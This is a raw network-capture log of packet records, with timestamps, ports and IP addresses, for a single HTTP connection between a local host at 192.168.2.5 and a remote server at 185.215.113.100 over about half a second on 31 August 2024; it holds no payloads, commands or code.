Aug 31, 2024 10:14:12.218915939 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218924999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218941927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218988895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221422911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221435070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221457958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221467972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221477032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221487999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221506119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221525908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221761942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221803904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221812963 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221813917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221842051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221846104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221858978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221858978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221884012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221893072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221896887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221906900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221927881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221937895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.221937895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.221963882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222009897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222038984 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222050905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222069979 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222079992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222086906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222100973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222107887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222110987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222131014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222132921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222141981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222150087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222162008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222177982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222202063 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222891092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222908974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222929001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222938061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222944975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222959995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.222961903 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.222980976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.223006964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.324012995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.328753948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565196037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565211058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565233946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565316916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565351963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565362930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565366030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565366030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565380096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565383911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565395117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565397978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565413952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565416098 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565433025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565459967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565469980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565481901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565483093 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565501928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565521002 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565673113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565684080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565706968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565712929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565717936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565740108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565771103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565814972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565825939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565845966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565860033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565865993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565876007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.565887928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.565921068 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566063881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566086054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566102982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566107988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566118002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566133022 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566142082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566152096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566152096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566169977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566188097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566241026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566282988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566282988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566315889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566322088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566345930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566359043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566363096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566385984 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566400051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566555977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566567898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566591024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.566606998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.566627979 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567080021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567123890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567127943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567154884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567166090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567199945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567200899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567210913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567246914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567255974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567269087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567280054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567320108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567327976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567339897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567369938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567379951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567389965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567411900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567411900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567421913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567446947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567456007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567459106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567486048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567487001 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567497015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567517996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567529917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567545891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567558050 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567584038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567584038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567594051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567631006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567640066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567658901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567662954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567683935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567689896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567701101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567702055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567723989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567724943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567735910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567759991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567765951 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567770004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567789078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567796946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567800045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567814112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567821026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567831993 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567831993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567848921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567852974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567859888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567864895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567877054 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567888021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567897081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567898989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567923069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567924023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567934036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567949057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567980051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567980051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.567987919 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.567997932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568017960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568028927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568036079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568051100 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568058014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568062067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568072081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568073988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568092108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568103075 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568120956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568121910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568131924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568131924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568149090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568164110 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568176031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568181038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568187952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568193913 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568202972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568223953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568231106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568233967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568247080 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568263054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568274975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568275928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568291903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568301916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568305016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568322897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568332911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568339109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568353891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568363905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568377018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568389893 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568393946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568404913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568416119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568418980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568437099 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568453074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568454981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568463087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568464994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568490982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568511009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568521976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568536043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568557978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568576097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568581104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568589926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568605900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568615913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568617105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568625927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568634033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568645954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.568665028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568665028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.568686008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569363117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569374084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569380045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569421053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569503069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569521904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569540024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569549084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569550991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569569111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569575071 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569582939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569593906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569597960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569610119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569623947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569629908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569639921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569652081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569658995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569669008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569669008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569690943 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569694042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569717884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569740057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569760084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569807053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569828987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569838047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569856882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.569875002 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.569901943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.570028067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570039034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570067883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570075989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.570080042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570106983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570117950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.570118904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570146084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570154905 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.570159912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570175886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570185900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.570190907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570202112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.570214987 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.570235968 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714270115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714351892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714368105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714382887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714411974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714411974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714436054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714437008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714447021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714456081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714473009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714481115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714494944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714507103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714520931 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714529037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714549065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714559078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714570045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714572906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714587927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714597940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714602947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714622021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714629889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714638948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714643955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714663029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714663982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714674950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714693069 CEST	80	49704	185.215.113.100	192.168.2.5
